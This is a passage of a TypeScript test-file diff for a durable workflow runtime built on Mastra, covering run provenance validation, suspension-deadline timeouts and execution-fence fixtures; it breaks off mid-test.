+    return runtime;
+  }
+
+  it('projects requester and resume ordinal after runtime eviction', async () => {
+    const storage = new InMemoryStore();
+    const before = buildDurable(storage);
+    const started = await before.start('durable-gate', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+      requestedBy: 'operator-1',
+      requestedByKind: 'human',
+    });
+    const reSuspended = await before.resume('durable-gate', started.runId, {
+      step: 'gate',
+      requestedBy: 'reviewer-1',
+      requestedByKind: 'human',
+    });
+    expect(reSuspended).toMatchObject({
+      status: 'suspended',
+      requestedBy: 'reviewer-1',
+      resumeCount: { gate: 1 },
+    });
+
+    const legs: RunLeg[] = [];
+    const after = buildDurable(storage, (leg) => legs.push(leg));
+    const recovered = await after.status('durable-gate', started.runId);
+    expect(recovered).toMatchObject({
+      status: 'suspended',
+      requestedBy: 'reviewer-1',
+      resumeCount: { gate: 1 },
+    });
+    const done = await after.resume('durable-gate', started.runId, {
+      step: 'gate',
+      resumeData: { go: true },
+      requestedBy: 'reviewer-2',
+      requestedByKind: 'human',
+    });
+    expect(done).toMatchObject({
+      status: 'success',
+      requestedBy: 'reviewer-2',
+    });
+    expect(legs.find((leg) => leg.kind === 'resume')).toMatchObject({
+      resumeCount: 1,
+    });
+  });
+
+  it.each([
+    ['an overlong requester', { requestedBy: 'r'.repeat(201) }],
+    ['an all-whitespace requester', { requestedBy: ' '.repeat(200) }],
+    ['a control-bearing requester', { requestedBy: 'requester\u0000forged' }],
+    ['an invalid requester kind', { requestedByKind: 'operator' }],
+  ])('fails closed on stored run provenance with %s', async (_label, corruption) => {
+    const storage = new InMemoryStore();
+    const before = buildDurable(storage);
+    const started = await before.start('durable-gate', {
+      runId: 'corrupt-requester-provenance',
+      inputData: {},
+      requestedBy: 'initiator',
+      requestedByKind: 'human',
+    });
+    const workflows = await storage.getStore('workflows');
+    if (!workflows) throw new Error('workflows store missing');
+    const snapshot = await workflows.loadWorkflowSnapshot({
+      workflowName: 'durable-gate',
+      runId: started.runId,
+    });
+    if (!snapshot) throw new Error('workflow snapshot missing');
+    const provenance = snapshot.requestContext?.[
+      'flowsafe.runProvenance'
+    ] as Record<string, unknown>;
+    await workflows.persistWorkflowSnapshot({
+      workflowName: 'durable-gate',
+      runId: started.runId,
+      snapshot: {
+        ...snapshot,
+        requestContext: {
+          ...snapshot.requestContext,
+          'flowsafe.runProvenance': {
+            ...provenance,
+            ...corruption,
+          },
+        },
+      },
+    });
+
+    await expect(
+      buildDurable(storage).status('durable-gate', started.runId),
+    ).rejects.toThrow('run provenance is not readable');
+  });
+
+  it('reads legacy id-only provenance but requires a new complete pair before resume writes', async () => {
+    const storage = new InMemoryStore();
+    const before = buildDurable(storage);
+    const started = await before.start('durable-gate', {
+      runId: 'legacy-requester-provenance',
+      inputData: {},
+      requestedBy: 'legacy-initiator',
+      requestedByKind: 'human',
+    });
+    const workflows = await storage.getStore('workflows');
+    if (!workflows) throw new Error('workflows store missing');
+    const snapshot = await workflows.loadWorkflowSnapshot({
+      workflowName: 'durable-gate',
+      runId: started.runId,
+    });
+    if (!snapshot) throw new Error('workflow snapshot missing');
+    const legacyProvenance = {
+      ...(snapshot.requestContext?.['flowsafe.runProvenance'] as Record<
+        string,
+        unknown
+      >),
+    };
+    legacyProvenance.version = 1;
+    delete legacyProvenance.requestedByKind;
+    await workflows.persistWorkflowSnapshot({
+      workflowName: 'durable-gate',
+      runId: started.runId,
+      snapshot: {
+        ...snapshot,
+        requestContext: {
+          ...snapshot.requestContext,
+          'flowsafe.runProvenance': legacyProvenance,
+        },
+      },
+    });
+
+    const after = buildDurable(storage);
+    const legacyStatus = await after.status('durable-gate', started.runId);
+    expect(legacyStatus).toMatchObject({ requestedBy: 'legacy-initiator' });
+    expect(legacyStatus?.requestedByKind).toBeUndefined();
+    await expect(
+      after.resume('durable-gate', started.runId, { step: 'gate' }),
+    ).rejects.toThrow(
+      'legacy requestedBy provenance requires an explicit requestedBy and requestedByKind to resume',
+    );
+    expect(
+      (await after.status('durable-gate', started.runId))?.requestedByKind,
+    ).toBeUndefined();
+    await expect(
+      after.resume('durable-gate', started.runId, {
+        step: 'gate',
+        requestedBy: 'reviewer-1',
+        requestedByKind: 'human',
+      }),
+    ).resolves.toMatchObject({
+      status: 'suspended',
+      requestedBy: 'reviewer-1',
+      requestedByKind: 'human',
+    });
+  });
+
+  it('reserves snapshot provenance against provider override', async () => {
+    const storage = new InMemoryStore();
+    const runtime = buildDurable(storage, undefined, {
+      'flowsafe.runProvenance': {
+        version: 1,
+        requestedBy: 'forged',
+        attemptToken: 'forged',
+        resumeCounts: [['gate', 99]],
+      },
+    });
+    const started = await runtime.start('durable-gate', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+      requestedBy: 'operator-1',
+      requestedByKind: 'human',
+    });
+
+    expect(started.requestedBy).toBe('operator-1');
+    await expect(
+      runtime.status('durable-gate', started.runId),
+    ).resolves.toMatchObject({ requestedBy: 'operator-1' });
+  });
+
+  it('repairs a terminal-only snapshot with the current resume provenance', async () => {
+    const storage = new InMemoryStore();
+    const requestContextForRun: RequestContextProvider = (
+      _workflowId,
+      _runId,
+      leg,
+    ) =>
+      leg.kind === 'start'
+        ? { 'test.a': 'start-a', 'test.b': 'start-b' }
+        : { 'test.a': 'resume-a' };
+    const before = buildTerminalRepair(storage, requestContextForRun);
+    const started = await before.start('terminal-repair', {
+      runId: 'terminal-provenance',
+      inputData: {},
+      requestedBy: 'operator-1',
+      requestedByKind: 'human',
+    });
+
+    await expect(
+      before.resume('terminal-repair', started.runId, {
+        step: 'gate',
+        resumeData: { approved: true },
+        requestedBy: 'reviewer-1',
+        requestedByKind: 'human',
+      }),
+    ).resolves.toMatchObject({
+      status: 'success',
+      requestedBy: 'reviewer-1',
+    });
+
+    const workflows = await storage.getStore('workflows');
+    const snapshot = await workflows?.loadWorkflowSnapshot({
+      workflowName: 'terminal-repair',
+      runId: started.runId,
+    });
+    expect(snapshot?.requestContext).toMatchObject({
+      'test.a': 'resume-a',
+      'test.b': 'start-b',
+      'flowsafe.runProvenance': expect.objectContaining({
+        requestedBy: 'reviewer-1',
+      }),
+    });
+
+    const after = buildTerminalRepair(storage, requestContextForRun);
+    await expect(
+      after.status('terminal-repair', started.runId),
+    ).resolves.toMatchObject({
+      status: 'success',
+      requestedBy: 'reviewer-1',
+    });
+  });
+
+  it('returns the committed terminal summary when repair acknowledgement is lost', async () => {
+    const storage = new InMemoryStore();
+    const runtime = buildTerminalRepair(storage);
+    const started = await runtime.start('terminal-repair', {
+      runId: 'terminal-lost-ack',
+      inputData: {},
+      requestedBy: 'operator-1',
+      requestedByKind: 'human',
+    });
+    const workflows = await storage.getStore('workflows');
+    if (!workflows) throw new Error('workflows store missing');
+    const persist = workflows.persistWorkflowSnapshot.bind(workflows);
+    let loseAcknowledgement = true;
+    vi.spyOn(workflows, 'persistWorkflowSnapshot').mockImplementation(
+      async (input) => {
+        await persist(input);
+        if (loseAcknowledgement && input.snapshot.status === 'success') {
+          loseAcknowledgement = false;
+          throw new Error('terminal persist acknowledgement lost');
+        }
+      },
+    );
+
+    await expect(
+      runtime.resume('terminal-repair', started.runId, {
+        step: 'gate',
+        resumeData: { approved: true },
+        requestedBy: 'reviewer-1',
+        requestedByKind: 'human',
+      }),
+    ).resolves.toMatchObject({
+      status: 'success',
+      requestedBy: 'reviewer-1',
+    });
+    expect(loseAcknowledgement).toBe(false);
   });
 });
 
-describe('RunnerRuntime resumeCount snapshot provenance (shared runId across workflows)', () => {
-  // Two suspending workflows under DIFFERENT ids on ONE runtime, both driven with
-  // the SAME caller runId. Mastra persists them as distinct runs (snapshots key on
-  // `${workflowName}-${runId}`). wfA completes on its first payload resume;
-  // wfB re-suspends once, so its snapshot retains count 1 while wfA becomes
-  // terminal. Both gates share step id 'gate' to prove each snapshot owns its
-  // own provenance even when caller run ids and inner step keys match.
-  function buildSharedRunIdPair(
-    onLeg?: (workflowId: string, leg: RunLeg) => void,
-  ): RunnerRuntime {
-    let bRounds = 0;
+// A step arms a per-suspension deadline through Mastra's own suspend payload,
+// so these tests exercise the whole author-facing contract at the runtime level:
+// what the summary carries back, and what a Mastra suspendSchema does to the
+// reserved key on the way through.
+describe('per-suspension deadline contract', () => {
+  const SUSPENSION_DEADLINE_MS = 900_000;
+
+  function timedGateRuntime(
+    id: string,
+    suspendSchema?: z.ZodType,
+    resumeSchema?: z.ZodType,
+  ): {
+    runtime: RunnerRuntime;
+    storage: InMemoryStore;
+    workflow: { getWorkflowRunById: (runId: string) => Promise<unknown> };
+    start: () => Promise<RunSummary>;
+  } {
+    const storage = new InMemoryStore();
     const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      {
-        startIdempotency: 'none',
-        executionFence: 'none',
-        ...(onLeg
+      { storage },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    // Built as a value so the reserved key survives a suspendSchema that does
+    // not declare it — which is exactly what the stripping test measures.
+    const suspendPayload: Record<string, unknown> = {
+      reason: 'awaiting signal',
+      [SUSPENSION_DEADLINE_PAYLOAD_KEY]: SUSPENSION_DEADLINE_MS,
+    };
+    const gate = createStep({
+      id: 'gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ settledBy: z.string() }),
+      ...(suspendSchema ? { suspendSchema } : {}),
+      ...(resumeSchema ? { resumeSchema } : {}),
+      execute: async ({ resumeData, suspend }) =>
+        resumeData
           ? {
-              requestContextForRun: (
-                workflowId: string,
-                _runId: string,
-                leg: RunLeg,
-              ) => {
-                onLeg(workflowId, leg);
-                return undefined;
-              },
+              settledBy: isSuspensionTimeoutResumeData(resumeData)
+                ? 'timeout'
+                : 'signal',
             }
-          : {}),
-      },
+          : suspend(suspendPayload),
+    });
+    const workflow = createWorkflow({
+      id,
+      inputSchema: z.object({}),
+      outputSchema: z.object({ settledBy: z.string() }),
+    })
+      .then(gate)
+      .commit();
+    return {
+      runtime,
+      storage,
+      workflow,
+      start: () =>
+        runtime.start(id, { runId: crypto.randomUUID(), inputData: {} }),
+    };
+  }
+
+  /**
+   * Blind the workflows store's row read — the exact seam Mastra falls back
+   * from — and hand back the restore. Deliberately NOT the Workflow method:
+   * stubbing that would FABRICATE the fallback, and what is under test is that
+   * Mastra produces it and stamps it. File-local rather than shared: the DO
+   * suite needs the same seam and keeping each copy beside the fixtures it
+   * serves is cheaper than a new shared module for eight lines.
+   */
+  async function blindWorkflowRow(storage: InMemoryStore): Promise<() => void> {
+    const store = (await storage.getStore('workflows')) as unknown as {
+      getWorkflowRunById: (args: unknown) => Promise<unknown>;
+    };
+    const original = store.getWorkflowRunById;
+    store.getWorkflowRunById = async () => null;
+    return () => {
+      store.getWorkflowRunById = original;
+    };
+  }
+
+  it('lets the resumed step tell a timeout from a real signal', async () => {
+    const { runtime, start } = timedGateRuntime('timed-gate');
+    const started = await start();
+
+    // #then — the summary carries everything the deadline is derived from
+    const { entries, rejected } = suspensionDeadlinesOf(started);
+    expect(rejected).toEqual([]);
+    expect(entries[0]).toEqual({
+      step: 'gate',
+      deadlineAt:
+        (started.suspendedAt?.gate as number) + SUSPENSION_DEADLINE_MS,
+      suspendedAt: started.suspendedAt?.gate,
+      resumeCount: 0,
+    });
+
+    // #when — the deadline elapses and flowsafe resumes the run itself
+    const timedOut = await runtime.resume('timed-gate', started.runId, {
+      step: ['gate'],
+      resumeData: suspensionTimeoutResumeData(
+        entries[0] as SuspensionDeadlineEntry,
+        Date.now(),
+      ),
+      requestedBy: SUSPENSION_DEADLINE_PRINCIPAL_ID,
+      requestedByKind: 'system',
+    });
+
+    expect(timedOut).toMatchObject({
+      status: 'success',
+      result: { settledBy: 'timeout' },
+      requestedBy: SUSPENSION_DEADLINE_PRINCIPAL_ID,
+      requestedByKind: 'system',
+    });
+
+    // #when — the same step reached by a genuine signal instead
+    const signalled = await start();
+    const resumed = await runtime.resume('timed-gate', signalled.runId, {
+      step: ['gate'],
+      resumeData: { approvedBy: 'bob' },
+      requestedBy: 'reviewer-1',
+      requestedByKind: 'human',
+    });
+
+    expect(resumed).toMatchObject({
+      status: 'success',
+      result: { settledBy: 'signal' },
+      requestedBy: 'reviewer-1',
+    });
+  });
+
+  it('pins Mastra stripping the reserved key from an undeclared suspendSchema', async () => {
+    // Tripwire on the documented authoring caveat: Mastra validates the suspend
+    // payload and SUBSTITUTES the parsed output, so a z.object() that does not
+    // declare the reserved field drops it and nothing arms. If a Mastra upgrade
+    // changes that, this fails instead of the caveat going silently stale.
+    const { start } = timedGateRuntime(
+      'stripped-gate',
+      z.object({ reason: z.string() }),
+    );
+
+    const started = await start();
+
+    const payload = (started.suspendPayload as Record<string, unknown>).gate;
+    expect(payload).toEqual({ reason: 'awaiting signal' });
+    expect(suspensionDeadlinesOf(started).entries).toEqual([]);
+  });
+
+  it('pins the reserved key surviving a suspendSchema that declares it', async () => {
+    const { start } = timedGateRuntime(
+      'declared-gate',
+      z.object({
+        reason: z.string(),
+        [SUSPENSION_DEADLINE_PAYLOAD_KEY]: z.number(),
+      }),
+    );
+
+    const started = await start();
+
+    expect(
+      (started.suspendPayload as Record<string, Record<string, unknown>>)
+        .gate?.[SUSPENSION_DEADLINE_PAYLOAD_KEY],
+    ).toBe(SUSPENSION_DEADLINE_MS);
+    expect(suspensionDeadlinesOf(started).entries).toHaveLength(1);
+  });
+
+  it.each([
+    ['loose-object-gate', z.looseObject({ reason: z.string() })],
+    [
+      'passthrough-gate',
+      z.object({ reason: z.string() }).passthrough() as unknown as z.ZodType,
+    ],
+  ])('arms through the documented loose-schema escape hatch (%s)', async (id, suspendSchema) => {
+    // The escape hatch the README and the design doc offer authors who do
+    // not want to name a flowsafe key in their own schema. If a Mastra or
+    // zod upgrade stops honouring it, that advice is wrong and this fails.
+    const { start } = timedGateRuntime(id, suspendSchema);
+
+    const started = await start();
+
+    expect(suspensionDeadlinesOf(started).entries).toHaveLength(1);
+  });
+
+  it('fails the timeout resume of a step whose resumeSchema rejects the envelope', async () => {
+    // The likelier of the two authoring footguns: every realistic approval
+    // step declares a resumeSchema, and Mastra validates resume data before
+    // the engine is touched, so a schema that does not accept the envelope
+    // makes the timeout resume throw. The wake then charges its retry ledger
+    // and eventually drops the deadline — documented, and pinned here.
+    const { runtime, start } = timedGateRuntime(
+      'resume-schema-gate',
+      undefined,
+      z.object({ approvedBy: z.string() }),
+    );
+    const started = await start();
+    const entry = suspensionDeadlinesOf(started)
+      .entries[0] as SuspensionDeadlineEntry;
+
+    // The message matters: a bare rejection would also pass if the resume threw
+    // for an unrelated reason, and then this would stop pinning the footgun.
+    await expect(
+      runtime.resume('resume-schema-gate', started.runId, {
+        step: ['gate'],
+        resumeData: suspensionTimeoutResumeData(entry, Date.now()),
+        requestedBy: SUSPENSION_DEADLINE_PRINCIPAL_ID,
+        requestedByKind: 'system',
+      }),
+    ).rejects.toThrow('Invalid resume data');
+
+    // #then — the run is untouched: the step never took its timeout branch
+    const after = await runtime.status('resume-schema-gate', started.runId);
+    expect(after?.status).toBe('suspended');
+    expect(after?.resumeCount?.gate).toBeUndefined();
+  });
+
+  it('refuses to arm a nested suspension instead of arming nothing silently', async () => {
+    // Mastra reports a nested suspension as the nested path but keys the
+    // payload and the fence by the TOP-LEVEL step, so there is no fence for
+    // the step that actually suspended. v1 refuses it, loudly, rather than
+    // leaving an author to believe a deadline was accepted.
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
     );
-    const gateA = createStep({
-      id: 'gate',
+    const approval = createStep({
+      id: 'approval',
       inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      suspendSchema: z.object({ reason: z.string() }),
+      outputSchema: z.object({ settledBy: z.string() }),
       execute: async ({ resumeData, suspend }) =>
-        resumeData ? {} : suspend({ reason: 'A waits' }),
+        resumeData
+          ? { settledBy: 'signal' }
+          : suspend({
+              reason: 'awaiting signal',
+              [SUSPENSION_DEADLINE_PAYLOAD_KEY]: SUSPENSION_DEADLINE_MS,
+            }),
     });
-    createWorkflow({
-      id: 'wfA',
+    const inner = createWorkflow({
+      id: 'nested',
       inputSchema: z.object({}),
-      outputSchema: z.object({}),
+      outputSchema: z.object({ settledBy: z.string() }),
     })
-      .then(gateA)
+      .then(approval)
       .commit();
-    const gateB = createStep({
-      id: 'gate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      suspendSchema: z.object({ reason: z.string() }),
-      execute: async ({ resumeData, suspend }) => {
-        if (!resumeData) return suspend({ reason: 'B round 1' });
-        bRounds += 1;
-        if (bRounds < 2) return suspend({ reason: 'B round 2' });
-        return {};
-      },
-    });
     createWorkflow({
-      id: 'wfB',
+      id: 'nested-outer',
       inputSchema: z.object({}),
-      outputSchema: z.object({}),
+      outputSchema: z.object({ settledBy: z.string() }),
     })
-      .then(gateB)
+      .then(inner)
       .commit();
-    return runtime;
-  }
 
-  it("preserves a sibling run's snapshot provenance when a run sharing its runId reaches terminal status", async () => {
-    // #given — wfA and wfB both suspended under the SAME runId 'shared'
-    const runtime = buildSharedRunIdPair();
-    await runtime.start('wfA', { runId: 'shared', inputData: {} });
-    await runtime.start('wfB', { runId: 'shared', inputData: {} });
-
-    // #given — wfB resumed once, so its snapshot provenance holds gate -> 1
-    const reSuspendedB = await runtime.resume('wfB', 'shared', {
-      step: 'gate',
-      resumeData: { go: true },
+    const started = await runtime.start('nested-outer', {
+      runId: crypto.randomUUID(),
+      inputData: {},
     });
-    expect(reSuspendedB.suspended).toEqual([['gate']]);
-    expect(reSuspendedB.resumeCount?.gate).toBe(1);
 
-    // #when — wfA with the same caller runId resumes to success
-    const doneA = await runtime.resume('wfA', 'shared', {
-      step: 'gate',
-      resumeData: { go: true },
+    expect(started.suspended).toEqual([['nested']]);
+    expect(suspensionDeadlinesOf(started)).toEqual({
+      entries: [],
+      rejected: [
+        {
+          step: 'nested',
+          reason: 'nested suspension paths are not supported',
+        },
+      ],
     });
-    expect(doneA.status).toBe('success');
 
-    // #then — wfB's still-suspended round-2 snapshot keeps resumeCount 1
-    const statusB = await runtime.status('wfB', 'shared');
-    expect(statusB).toMatchObject({
-      status: 'suspended',
-      suspended: [['gate']],
+    // #then — and refused again on the projection the alarm and the recovered
+    // start read, which reports the SAME suspension as the enclosing step
+    // alone. A refusal on only one of the two projections is worse than none:
+    // the entry arms from the projection that misses it and then resumes a
+    // step whose fence describes a different suspension.
+    const rehydrated = await runtime.status('nested-outer', started.runId);
+    expect(rehydrated?.suspended).toEqual([['nested']]);
+    expect(suspensionDeadlinesOf(rehydrated as RunSummary)).toEqual({
+      entries: [],
+      rejected: [
+        {
+          step: 'nested',
+          reason: 'nested suspension paths are not supported',
+        },
+      ],
     });
-    expect(statusB?.resumeCount?.gate).toBe(1);
+
+    // Tripwire on the marker that refusal depends on: Mastra stamps the inner
+    // path into the persisted payload, and that is the only thing telling this
+    // suspension apart from an ordinary top-level one. A rename would make
+    // nested deadlines arm again, so it fails here rather than there.
+    expect(
+      (rehydrated?.suspendPayload as Record<string, Record<string, unknown>>)
+        .nested?.[MASTRA_WORKFLOW_META_KEY],
+    ).toMatchObject({ path: ['approval'] });
   });
 
-  it("reads a run's own snapshot provenance on the resume leg", async () => {
-    // #given — a provider recording (workflowId, leg) for every consult
-    const legs: Array<{ workflowId: string; leg: RunLeg }> = [];
-    const runtime = buildSharedRunIdPair((workflowId, leg) =>
-      legs.push({ workflowId, leg }),
+  it.each([
+    ['a plain step id', 'plain-gate'],
+    ['a step id containing a dot', 'dotted.gate'],
+  ])('derives the same deadline from the live summary and from status() for %s', async (_label, stepId) => {
+    // The contract the whole design rests on: a lifecycle boundary arms from
+    // the live summary while the alarm fences against the rehydrated one, so
+    // the two must derive identical entries. They key `suspended`
+    // differently for a dotted id — ['a.b'] live, ['a','b'] rehydrated — and
+    // an entry derived from one that the other cannot recognize is a deadline
+    // that arms and then silently disappears.
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
     );
-    await runtime.start('wfA', { runId: 'shared', inputData: {} });
-    await runtime.start('wfB', { runId: 'shared', inputData: {} });
+    const gate = createStep({
+      id: stepId,
+      inputSchema: z.object({}),
+      outputSchema: z.object({ settledBy: z.string() }),
+      execute: async ({ resumeData, suspend }) =>
+        resumeData
+          ? { settledBy: 'signal' }
+          : suspend({
+              reason: 'awaiting signal',
+              [SUSPENSION_DEADLINE_PAYLOAD_KEY]: SUSPENSION_DEADLINE_MS,
+            }),
+    });
+    createWorkflow({
+      id: `projection-${stepId}`,
+      inputSchema: z.object({}),
+      outputSchema: z.object({ settledBy: z.string() }),
+    })
+      .then(gate)
+      .commit();
 
-    // #given — wfB resumed once, bumping the gate ordinal in wfB's snapshot
-    await runtime.resume('wfB', 'shared', {
-      step: 'gate',
-      resumeData: { go: true },
+    const live = await runtime.start(`projection-${stepId}`, {
+      runId: crypto.randomUUID(),
+      inputData: {},
     });
+    const rehydrated = await runtime.status(`projection-${stepId}`, live.runId);
 
-    // #when — wfA's first resume reads its snapshot provenance before incrementing it
-    await runtime.resume('wfA', 'shared', {
-      step: 'gate',
-      resumeData: { go: true },
+    expect(suspensionDeadlinesOf(live).entries).toEqual([
+      {
+        step: stepId,
+        deadlineAt:
+          (live.suspendedAt?.[stepId] as number) + SUSPENSION_DEADLINE_MS,
+        suspendedAt: live.suspendedAt?.[stepId],
+        resumeCount: 0,
+      },
+    ]);
+    expect(suspensionDeadlinesOf(rehydrated as RunSummary)).toEqual(
+      suspensionDeadlinesOf(live),
+    );
+  });
+
+  it('refuses to answer authoritatively from Mastra in-memory fallback state', async () => {
+    // Tripwire on the marker the whole wake discipline keys on, pinned the way
+    // __workflow_meta is: against the REAL producer. Mastra answers a state
+    // read from the in-memory Run it still holds whenever the row lookup comes
+    // back empty, and stamps `isFromInMemory` on exactly that answer. A rename
+    // or a dropped stamp would put the wake back to concluding things from a
+    // read that never reached storage — deleting a live record, spending an
+    // abandonment budget, deleting a real row in recoverStartAttempt — so it
+    // fails here rather than there.
+    const { runtime, storage, workflow, start } =
+      timedGateRuntime('marker-gate');
+    const started = await start();
+    expect(started.status).toBe('suspended');
+
+    const restore = await blindWorkflowRow(storage);
+    try {
+      // #then — with the row read blinded, the state Mastra hands back is the
+      // in-memory Run it still holds, carrying the marker
+      const state = (await workflow.getWorkflowRunById(
+        started.runId,
+      )) as Record<string, unknown>;
+      expect(state.isFromInMemory).toBe(true);
+      expect(state.status).toBe('pending');
+      expect(state.requestContext).toBeUndefined();
+      const fallback = (await runtime.status(
+        'marker-gate',
+        started.runId,
+      )) as RunSummary;
+      expect(
+        (fallback as unknown as { isFromInMemory?: boolean }).isFromInMemory,
+      ).toBeUndefined();
+
+      // #then — the authoritative read refuses it, naming both ids and NO
+      // cause: the run object mints this same class for any read that did not
+      // succeed, so a message claiming the in-memory fallback would name the
+      // wrong one during a storage incident.
+      await expect(
+        runtime.authoritativeStatus('marker-gate', started.runId),
+      ).rejects.toBeInstanceOf(RunStateUnreadableError);
+      await expect(
+        runtime.authoritativeStatus('marker-gate', started.runId),
+      ).rejects.toThrow(
+        new RegExp(
+          `^run '${started.runId}' of workflow 'marker-gate' state is not readable$`,
+        ),
+      );
+
+      // #then — while status() still serves the fabricated summary, which is
+      // 'pending' for a run that has never been resumed and so passes the
+      // self-consistency backstop: the marker is the only thing that catches
+      // this shape.
+      expect(fallback.status).toBe('pending');
+      expect(fallback.suspended).toBeUndefined();
+      expect(isReadableRunSummary(fallback)).toBe(true);
+    } finally {
+      restore();
+    }
+
+    // #then — and the run was suspended the whole time
+    const healed = await runtime.status('marker-gate', started.runId);
+    expect(healed?.status).toBe('suspended');
+    expect(healed?.suspended).toEqual([['gate']]);
+  });
+
+  it('throws the class a consumer catches through the package barrel', async () => {
+    // #given — a host catching this failure imports it from the barrel, never
+    // from the module that throws it. Anything that turned the re-export into
+    // a second declaration would leave every consumer `instanceof` false while
+    // both files still compiled.
+    const { runtime, storage, start } = timedGateRuntime('barrel-gate');
+    const started = await start();
+    const restore = await blindWorkflowRow(storage);
+
+    // #when / #then
+    try {
+      await expect(
+        runtime.authoritativeStatus('barrel-gate', started.runId),
+      ).rejects.toBeInstanceOf(BarrelRunStateUnreadableError);
+    } finally {
+      restore();
+    }
+  });
+});
+
+async function d3RuntimeFixture(
+  mode: 'fenced' | 'prefixed' | 'custom' = 'fenced',
+  provider?: RequestContextProvider,
+) {
+  const sql = openSqlite() as ReturnType<typeof openSqlite> & { close(): void };
+  const binding = sqliteUnitDatabase(sql) as D1DatabaseBinding;
+  const storage =
+    mode === 'custom'
+      ? new InMemoryStore()
+      : createD1Storage({ binding, tablePrefix: 'd3_' });
+  await storage.init();
+  const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase);
+  await fence.seed('open');
+  const reservations = new StartIdempotencyStore(
+    binding as ExecutionFenceDatabase,
+  );
+  const app = init(
+    { storage },
+    {
+      executionFence: mode === 'fenced' ? fence : 'none',
+      startIdempotency: reservations,
+      requestContextForRun: provider,
+    },
+  );
+  const effects = vi.fn();
+  const schema = z.looseObject({});
+  const workflow = app
+    .createWorkflow({
+      id: 'd3-workflow',
+      inputSchema: schema,
+      outputSchema: schema,
+    })
+    .then(
+      app.createStep({
+        id: 'gate',
+        inputSchema: schema,
+        outputSchema: schema,
+        resumeSchema: schema,
+        execute: async ({ inputData, resumeData, suspend }) => {
+          effects();
+          return inputData.suspend && !resumeData
+            ? suspend({ waiting: true })
+            : { done: true };
+        },
+      }),
+    )
+    .commit();
+  await app.runtime.status(workflow.id, 'initialize');
+  const workflows = (await storage.getStore(
+    'workflows',
+  )) as FencedWorkflowsStorageD1;
+  const native = workflows[FENCED_WORKFLOW_STORAGE];
+  const capability: FencedWorkflowAdmissionCapability | undefined =
+    mode === 'custom' || !native ? undefined : { ...native };
+  if (capability)
+    Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, {
+      value: capability,
+      writable: true,
+      configurable: true,
     });
-
-    // #then — wfA never resumed before, so its own snapshot has no gate entry
-    // and the leg's resumeCount is undefined
-    const wfAResumeLeg = legs.find(
-      (e) => e.workflowId === 'wfA' && e.leg.kind === 'resume',
-    )?.leg as { resumeCount?: number } | undefined;
-    expect(wfAResumeLeg).toBeDefined();
-    expect(wfAResumeLeg?.resumeCount).toBeUndefined();
+  const options = (runId = 'd3-run'): StartRunOptions => ({
+    runId,
+    inputData: {},
+    attemptToken: 'H',
+    requestedBy: 'owner',
+    requestedByKind: 'human',
   });
+  const claim = async (runId = 'd3-run', key = 'd3-key') => {
+    const reserved = await reservations.reserve({
+      key,
+      owner: { kind: 'human', id: 'owner' },
+      targetKind: 'workflow',
+      targetId: workflow.id,
+      mintRunId: () => runId,
+    });
+    const claimed = await reservations.claimReservation(
+      reserved.reservation as import('./start-idempotency.js').StartReservationReading,
+    );
+    assert(claimed);
+    return claimed;
+  };
+  const row = (runId = 'd3-run') =>
+    workflows.loadWorkflowSnapshot({ workflowName: workflow.id, runId });
+  return {
+    ...app,
+    sql,
+    storage,
+    fence,
+    reservations,
+    workflow,
+    workflows,
+    capability,
+    effects,
+    options,
+    claim,
+    row,
+    close: () => sql.close(),
+  };
+}
 
-  // A step that re-suspends on EVERY resume (never completes), so a run stays
-  // suspended at any depth and status() keeps projecting its accumulating
-  // ordinal — the deep-chain (3+ suspension) case the pair-binding relies on.
-  function buildSharedDeepChain(): RunnerRuntime {
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
+describe('Runtime final fence structural admission', () => {
+  async function structuralFixture(proof: boolean) {
+    const f = await d3RuntimeFixture();
+    assert(f.capability);
+    const owner = { kind: 'human' as const, id: 'owner' };
+    const resources = new D1ResourceOwnershipStore(
+      f.capability.database as unknown as ResourceOwnershipDatabase,
     );
-    for (const id of ['wfA', 'wfB']) {
-      const gate = createStep({
-        id: 'gate',
-        inputSchema: z.object({}),
-        outputSchema: z.object({}),
-        suspendSchema: z.object({ reason: z.string() }),
-        execute: async ({ resumeData, suspend }) =>
-          suspend({ reason: resumeData ? 'again' : 'first' }),
-      });
-      createWorkflow({
-        id,
-        inputSchema: z.object({}),
-        outputSchema: z.object({}),
-      })
-        .then(gate)
-        .commit();
-    }
-    return runtime;
+    expect(
+      await resources.reserveAll(
+        [{ kind: 'run', resourceId: 'd3-run' }],
+        owner,
+        'H',
+      ),
+    ).toBe(true);
+    const claim = proof ? await f.claim() : undefined;
+    const reading = await f.fence.transition({
+      expected: 'open',
+      next: proof ? 'proof-only' : 'open',
+      ...(claim ? { proofKey: claim.key } : {}),
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+      advanceMutationEpoch: true,
+    });
+    const startOptions: StartRunOptions = {
+      ...f.options(),
+      mutationEpoch: reading.mutationEpoch,
+      runOwnerGuard: { owner, reservationToken: 'H' },
+      ...(claim ? { idempotencyKey: claim.key, startReservation: claim } : {}),
+    };
+    return {
+      ...f,
+      claim,
+      startOptions,
+      database: f.capability.database,
+      snapshots: () =>
+        f.sql.prepare('SELECT * FROM d3_mastra_workflow_snapshot').all(),
+      owners: () =>
+        f.sql.prepare('SELECT * FROM flowsafe_resource_owners').all(),
+      proofRows: () =>
+        f.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+    };
   }
 
-  it('accumulates per-workflow resume ordinals independently past depth 1 under a shared runId', async () => {
-    // #given — wfA and wfB both suspended under the SAME runId 'shared'
-    const runtime = buildSharedDeepChain();
-    await runtime.start('wfA', { runId: 'shared', inputData: {} });
-    await runtime.start('wfB', { runId: 'shared', inputData: {} });
+  it.each([
+    [
+      'unkeyed unsupported column',
+      false,
